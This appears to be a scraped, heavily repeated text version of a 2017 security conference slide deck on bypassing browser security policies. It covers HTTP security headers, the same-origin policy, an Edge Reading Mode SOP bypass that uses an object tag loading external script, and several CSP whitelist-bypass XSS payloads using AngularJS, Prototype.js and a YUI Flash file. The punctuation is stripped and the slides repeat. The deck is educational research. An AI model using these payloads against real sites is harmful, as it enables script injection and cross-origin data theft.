Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 5: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is HTTP Secure Header

옵션 기능 Example

Content-Security-PolicyXSS 공격 방지 허용된 URL에서만 Static Resource 허용

Content-Security-Policy script-src lsquoselfrsquo httpsapisgooglecom

X-Frame-Options FRAME을 차단 설정된 도메인만 허용 X-Frame-Options SAMDORIGIN or Deny or httpi2seccokr

X-Content-Type-Options MIME-Snffing 공격을 차단 X-Content-Type-Options nosniff

Strict-Transport-Security HTTPS로 강제 고정해 연결(MITM 공격 차단) Strict-Transport-Security max-age=1607400 includeSubDomains

Public-Key-Pins 인증서 PIN을 비교 후 연결(위조된 인증서 확인)Public-Key-Pins pin-sha256=ldquoltsha256gtrdquo pin-sha256=ldquoltsha256gtrdquo max-age=ldquo15768000 includeSubDomains

X-XSS-Protection 브라우저의 XSS 필터를 활성화 X-XSS-Protection 1 mode-block

어떠한 Response Header가 Client Browser에 영향을 줄 수 있는가

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 6: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is HTTP Secure Header

Github Response Header Example

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 7: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is SOP(Same Origin Policy)

Same Origin Policy Details - Example

Example httpseouli2seccokrindexhtml

URL 결과 이유

httpseouli2seccokrsecuinsidetesthtml 성공

httpseouli2seccokreducationmainhtml 성공

httpsseouli2seccokrsecurehtml 실패 프로토콜 상이

httpseouli2seccokr8080etchtml 실패 포트 상이

httpbusani2seccokretchtml 실패 호스트 상이

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 8: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is SOP(Same Origin Policy)

Same Origin Policy Details - What is Origin

http seouli2seccokr 8080

Origin

scheme hostname port

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

